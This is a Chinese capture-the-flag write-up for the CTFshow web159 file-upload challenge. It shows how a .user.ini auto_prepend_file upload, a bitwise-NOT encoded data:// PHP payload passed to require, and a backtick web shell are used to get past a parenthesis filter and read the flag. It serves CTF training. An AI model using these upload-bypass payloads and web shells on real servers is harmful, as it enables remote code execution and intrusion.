CTFshow 文件上传 web159

本文介绍了在CTF比赛中解决web159题目时的思路,通过修改参数绕过过滤,使用.data协议执行代码。重点讨论了如何利用.php.user.ini文件进行上传,并指出POST参数在服务器端不解码的问题,最终成功获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录


思路

直接在burp里面改targethost的值,或者在本地发包
在这里插入图片描述
在这里插入图片描述
成功上传.user.ini

auto_prepend_file=shell.png

相比之前题目的过滤发现()也不能用了,不过可以用取反和异或来绕过

不需要括号的函数

echo
require
include

Y1ng师傅的取反脚本,用data协议来执行代码

<?php
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")";
//require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>

由于post提交参数服务器不能自动url解码,所以要想解码一次再提交

在这里插入图片描述

访问upload,拿到flag


总结

也可以用
shell.png

<?=`tac ../f*`?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值